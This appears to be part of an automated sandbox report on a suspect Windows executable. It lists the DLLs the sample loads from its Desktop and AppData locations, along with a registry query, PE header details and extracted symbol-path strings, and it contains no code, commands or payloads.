Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: browcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: browcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Section loaded: ncryptsslp.dll

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: f6ffg1sZS2.exe

Static file information: File size 1153632 > 1048576

Source: f6ffg1sZS2.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: f6ffg1sZS2.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: f6ffg1sZS2.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: f6ffg1sZS2.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: f6ffg1sZS2.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: f6ffg1sZS2.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: f6ffg1sZS2.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: f6ffg1sZS2.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ce\\ source: f6ffg1sZS2.exe, 00000002.00000003.2319052984.000000000A433000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2320190916.000000000A44A000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2319784597.000000000A433000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\/ source: f6ffg1sZS2.exe, 00000002.00000003.2378809416.000000000A555000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2378045989.000000000A52E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\ source: f6ffg1sZS2.exe, 00000002.00000003.2366534697.00000000040D9000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2362908002.00000000040C0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2358821271.00000000040C0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2365911711.00000000040C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: f6ffg1sZS2.exe, 00000002.00000003.2320318916.0000000004065000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2327463384.0000000004050000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2338866477.0000000004057000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2330141322.0000000004050000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2343523011.0000000004070000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2339318699.0000000004061000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2330521707.0000000004061000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: f6ffg1sZS2.exe, 00000002.00000003.2392724497.000000000422E000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2398958794.000000000422E000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2399883545.000000000422E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\r\\\ source: f6ffg1sZS2.exe, 00000002.00000003.2372045519.000000000A39F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2380287643.000000000A3B4000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2381081224.000000000A3B4000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2372475576.000000000A3B0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2373364483.000000000A3B2000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2378278572.000000000A3B4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\State\q source: f6ffg1sZS2.exe, 00000002.00000003.2403545347.000000000416B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\XU source: f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\d source: f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: f6ffg1sZS2.exe, 00000002.00000002.2409328051.0000000004206000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2404145455.0000000004129000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2402167994.0000000004120000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2403453023.0000000004120000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2403877259.0000000004120000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2402244378.0000000004206000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: f6ffg1sZS2.exe, 00000002.00000003.2386194021.0000000004050000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\dge\ source: f6ffg1sZS2.exe, 00000002.00000003.2393447255.000000000A550000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2378809416.000000000A555000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2378045989.000000000A52E000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2386112721.000000000A541000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2381261187.000000000A55D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\8o9 source: f6ffg1sZS2.exe, 00000002.00000003.2392724497.000000000422E000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2398958794.000000000422E000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2399883545.000000000422E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: f6ffg1sZS2.exe, 00000002.00000003.2387896261.0000000004140000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2379506496.000000000417A000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2377710204.000000000417A000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2392724497.000000000418F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2380931502.000000000417A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\^ source: f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: f6ffg1sZS2.exe, 00000002.00000003.2370953145.000000000417A000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2379506496.000000000417A000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2377710204.000000000417A000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2380931502.000000000417A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: f6ffg1sZS2.exe, 00000002.00000003.2398017850.0000000004061000.00000004.00000020.00020000.00000000.sdmp
